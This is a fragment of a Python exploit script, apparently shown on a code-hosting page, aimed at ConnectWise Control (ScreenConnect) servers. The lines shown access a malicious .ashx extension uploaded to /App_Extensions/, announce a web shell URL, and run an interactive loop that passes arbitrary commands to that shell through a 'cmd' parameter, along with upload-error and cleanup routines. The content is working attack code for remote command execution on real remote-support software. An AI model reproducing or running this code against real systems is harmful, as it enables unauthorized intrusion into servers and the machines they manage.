(url)
| 116 | print("[-] Error in func <UploadExtension>, error message: " + str(err)) |
| 117 | |
| 118 | def ExecuteCommand(url): |
| 119 | try: |
| 120 | resp = session.get(url=url + f"/App_Extensions/{payload_ashx}", headers=exploit_header, verify=False, proxies=proxy) |
| 121 | if resp.status_code == 200: |
| 122 | print(f"[+] Shell Url: {url + f'/App_Extensions/{payload_ashx}'}") |
| 123 | print("[+] Please start executing commands freely! Type <quit> to delete the shell") |
| 124 | while True: |
| 125 | cmd = input(f"{GREEN}command > {RESET}") |
| 126 | if cmd == "quit": |
| 127 | DeleteExtension(target, plugin_guid) |
| 128 | sys.exit(0) |
| 129 | try: |
| 130 | resp = session.get(url=url + f"/App_Extensions/{payload_ashx}?cmd={cmd}", headers=exploit_header, verify=False, proxies=proxy) |
| 131 | print(resp.text) |
| 132 | except Exception as err: |
| 133 | print("[-] Error in func <ExecuteCommand>, error message: " + str(err)) |
| 134 | else: |
| 135 | print(f"[-] Malicious extension load error ({url + f'/App_Extensions/{payload_ashx}'}), Refer to https://www.connectwise.com/globalassets/media/documents/connectwisecontrolsecurityevaluationmatrix.pdf") |
| 136 | DeleteExtension(target, plugin_guid) |
| 137 | except Exception as err: |
| 138 | print("[-] Error in func <ExecuteCommand>, error message: " + str(err)) |
| 139 | |
| 140 | def DeleteExtension(url, plugin_guid): |
| 141 | global DELETE_STATUS |
no test coverage detected